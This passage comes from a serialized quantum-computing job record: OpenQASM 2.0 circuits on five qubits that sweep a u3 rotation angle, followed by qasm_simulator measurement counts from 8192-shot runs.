q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6.1000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1309', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [6.2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['6.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1311', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(6.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}], 'header': {'backend_name': 'qasm_simulator'}, 'type': 'QASM', 'schema_version': '1.0.0'}, 'date': '2019-03-24T10:03:29.200000+00:00', 'job_id': 'c959f4ca-0f0e-4231-b997-5e327edb4208', 'backend_name': 'qasm_simulator', 'backend_version': '0.1.1', 'job_status': 'DONE', 'results': [{'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.0,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1187', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 400517686, 'status': 'DONE', 'data': {'counts': {'0x3': 996, '0x1': 976, '0x0': 3067, '0x2': 3153}}, 'success': True, 'shots': 8192, 'time_taken': 0.445159379, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.100000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1189', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2378335320, 'status': 'DONE', 'data': {'counts': {'0x3': 1088, '0x1': 945, '0x0': 3179, '0x2': 2980}}, 'success': True, 'shots': 8192, 'time_taken': 0.451646347, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.200000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1191', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1910101208, 'status': 'DONE', 'data': {'counts': {'0x3': 1206, '0x1': 844, '0x0': 3311, '0x2': 2831}}, 'success': True, 'shots': 8192, 'time_taken': 0.456650341, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.300000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1193', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 492471449, 'status': 'DONE', 'data': {'counts': {'0x3': 1345, '0x1': 732, '0x0': 3350, '0x2': 2765}}, 'success': True, 'shots': 8192, 'time_taken': 0.445407251, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.400000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1195', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1218159773, 'status': 'DONE', 'data': {'counts': {'0x3': 1394, '0x1': 644, '0x0': 3460, '0x2': 2694}}, 'success': True, 'shots': 8192, 'time_taken': 0.436809557, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.500000000000000,-pi/2,pi/2) 